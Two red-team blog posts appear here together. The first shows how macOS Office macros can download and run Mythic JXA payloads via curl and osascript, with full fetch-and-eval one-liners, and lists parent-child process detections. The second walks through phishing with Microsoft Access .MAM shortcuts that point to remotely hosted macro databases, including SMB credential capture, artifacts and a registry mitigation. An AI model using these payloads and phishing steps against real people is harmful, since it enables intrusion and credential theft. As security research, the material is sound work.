Running JXA Payloads from macOS Office Macros

Running JXA Payloads from macOS Office Macros

Original text by Cedric Owens

Despite being quite antiquated, MS Office macros continue to be used by red teams (and attackers) due to the fact that they are easy to craft and they still work (and on the macOS side of the house, they often go undetected without building custom content). I have written MS Office macros for a couple different macOS C2 tools in the past…and in both I used python as the means of running the C2 payload:

With the landscape starting to shift in the macOS arena to moving away from python-based offensive tooling, I thought I would take a look at how to write macros for macOS without using python. Below I walk through that process.

I tried a few things to see what would and would not execute in the macOS app sandbox (where anything spawned by an MS Office macro is executed). I found that several utilities I wanted to use were not able to execute in the sandbox (I tested the items below from VBA execution using MacScript (“do shell script ….”)):

  • I tried using osascript to launch a JXA javascript file: osascript -l JavaScript -e “eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString(‘[url_to_jxa_js_file]’)),$.NSUTF8StringEncoding)));” — → osascript is permitted in the app sandbox, but not the -l JavaScript option during my testing
  • I tried building Objective C code on the fly, compiling, and executing via the command line: echo “#import <Foundation/Foundation.h>\n#import <AppKit/AppKit.h>\n#import <OSAKit/OSAKit.h>\n#include <pthread.h>\n#include <assert.h>\n\nint main(int argc, const char * argv[]) {\n\t@autoreleasepool {\n\t\tNSString *encString = @\”eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString(‘[JXApayloadURL]‘)),$.NSUTF8StringEncoding)));\»;\n\t\tOSALanguage *lang = [OSALanguage languageForName:@\”JavaScript\”];\n\t\tOSAScript *script = [[OSAScript alloc] initWithSource:encString language:lang];\n\t\tNSDictionary *__autoreleasing compileError;\n\t\tNSDictionary *__autoreleasing runError;\n\t\t[script compileAndReturnError:&compileError];\n\t\tNSAppleEventDescriptor* res = [script executeAndReturnError:&runError];\n\t\tBOOL didSucceed = (res != nil);\n\t}\n\treturn 0;\n}” >> jxa.m && clang -fmodules jxa.m -o jxa && ./jxa — → clang (as well as gcc) were not permitted to be executed in the sandbox during my testing
  • Next I went very simple and just tried to invoke curl to download a hosted JXA .js payload and to invoke that payload via osascript…THAT DID WORK:
Image for post
JXA payload downloaded and run
Image for post
Mythic payload executed

Note: There is nothing really advanced or complex in the code above. Since these command line binaries were allowed in the app Sandbox, this made for an easy way to perform this action without using python.

Here is my github repo with the macro generator code to produce VBA code with content similar to above:

https://github.com/cedowens/Mythic-Macro-Generator

In my testing I used Mythic’s apfell http JXA .js payloads:

https://github.com/its-a-feature/Mythic

What is neat about Mythic is even though this method will launch the Mythic agent inside of the app sandbox, Mythic is still able to execute some functions outside of the sandbox due to how it is invoking ObjC calls to perform those functions.

Detection

Since my macro generator produces code that relies on the command line, detections are pretty straightforward. I ran Patrick Wardle’s ProcessMonitor tool (which uses the Endpoint Security Framework) in order to capture events when I launched the macro and connected to Mythic. Here is a screenshot of the capture:

Image for post

In summary, parent-child detections can be used to detect this macro:

  • Office Product (ex: Microsoft Word.app) → /bin/sh
  • Office Product (ex: Microsoft Word.app) → /bin/bash
  • Office Product (ex: Microsoft Word.app) → /usr/bin/curl

I recommend blue teams roll out the detections above, as there should be little to no valid activity stemming from the above parent-child relationships.

Phishing tales: Microsoft Access Macro (.MAM) shortcuts

( Original text by Steve Borosh )

reviously, I blogged about the ability to create malicious .ACCDE Microsoft Access Database files and using them as a phishing vector. This post expands on using the ACCDE format and will be introducing Microsoft Access Macro “MAM” shortcuts to gain access via phishing. The MAM file is basically a shortcut that links directly to a Microsoft Access macro. It has been around since at least Office 97.

Creating a MAM

For this exercise, we’ll be creating a simple Microsoft Access Database that pops calc.exe. We could, however, embed anything from a simple macro payload to a full-fledged DOTNET2JSCRIPT payload., I’ll leave proper weaponizationthat to you. First, open MSAccess and create a blank database. You should then have something like this:

Now, navigate to the Create ribbon and select Module. This will open the Microsoft Visual Basic for Applications design editor.

In Microsoft Access, our module will contain our code base while the macro will just tell Access to run the VB code. You’ll see what I mean here shortly.

Ok, we need some code. A simple “pop calc” will do. I’ll leave taking this to a reverse shell up to the reader or refer to my previous blog post.

Notice how I’ve added the Function call to this code. When we create our macro, it will look for a function call instead of a sub.

Now, save the module and exit the code editor.

With our module saved, we can create our macro to call the module. Open the Create ribbon and select Macro. Use the drop down box to select “Run Code” and point to your macro function.

Next, you should test your macro by clicking the Run menu option and Access will prompt you to save your macro. Be sure to save your macro as Autoexec if you want it to run automatically upon document open.

With our database complete, we can save the project. You’ll want to save in .accdb format first so you can modify your project later.

Then, we’ll save our project again. This time, select the Make ACCDE option. This will create an “execute only” version of our database.

We could attach the ACCDE to an email or link to it if we want as our payload option when phishing. However, there’s more to this than sending the file. We can create our MAM shortcut that will link remotely to our ACCDE file and run the contents over the internet.

Make sure you have your ACCDE file open, left-click and drag the macro to your desktop. This will create your initial .MAM file that you can modify. Open it with your favorite editor or notepad to see what we can modify.

As you can see, there’s not to much to the shortcut itself. We are mainly concerned with changing the DatabasePath variable as we will be hosting the execute only database remotely. With this variable, we have several options. We could host the ACCDE file over SMB or web. Hosting over SMB could serve dual purpose as we could capture credentials as well as long as port 445 is allowed out of your target network. In this blog post, I’ll be demonstrating how to do this over http. Lets host our ACCDE file remotely and modify our .MAM file.

The Phish

On a remote host, serve up the ACCDE file using your preferred web hosting method.

Edit the .MAM file to point to your ACCDE hosted on your web server.

Now we are tasked with delivering our MAM payload to our target. Some providers block MAM files and Outlook does by default so, in this scenario we will send a phishing link to our target and will simply host our MAM file on our web server or you could do some funky redirects with Apache mod_rewrite as detailed here by @bluscreenofjeff.

Once our user clicks our phishing link (using Edge Browser in this case) they are prompted to open or save the file.

Next they are prompted to open the file again with a security warning.

Finally, the target user is prompted with the last security warning and your remote hosted IP address or domain name (hopefully convincing) is displayed to the user. The key point to note here is after this there is no macro or protected view warning displayed or blocking this macro payload from running.

Once the user clicks Open, our code should run.

While there are several security prompts, we’re a little pretext and one unsuspecting user away from entering our target network.

OPSEC

This payload is nice for the fact that it’s a simple shortcut file and our payload can be invoked remotely. But, what artifacts are left after execution? Let’s check out the process and file system activity with procmon.

The first interesting entry is a “CreateFile” call that executes the command line seen in the picture above. Something for command line auditing to look for would be the “ShellOpenMacro” string.

Next, we observe the remote ACCDE file being saved and executed from our local machine. While it seems as though our payload is invoked remotely, it’s downloaded to “%APPDATA%\Local\Microsoft\Windows\INetCache\Content.MSO\95E62AFE.accde\PopCalc.accde”. For an offensive engagement, this file should be noted for cleanup.

0

Mitigation

In Microsoft Office 2016, you can enable the GPO to block macro execution from the internet or set the following registry key for each office product.

Computer\HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Access\Security\blockcontentexecutionfrominternet = 1

If a user is phished with this setting in place, they’ll be denied from executing the program. It should be noted that even though the macro is blocked, the MAM file still reaches out to pull down the Access file. So, there’s still an opportunity to know if your phish was received and executed or steal credentials via smb.

Conclusion

In this blog post I have walked you through the necessary steps to weaponize a Microsoft Access Macro shortcut to invoke a payload over HTTP. While this file type is commonly blocked by Microsoft Outlook, it is allowed in Gmail and may also be served via HTTP or SMB. I also showed you where to find artifacts and enable blocking of macros to prevent this type of attack.

It’s increasingly more important for defenders to be familiar with various phishing payloads and the artifacts they leave behind. I hope this post helps bring awareness about this specific attack vector and the Indicators of Compromise (IOC’s) associated with it.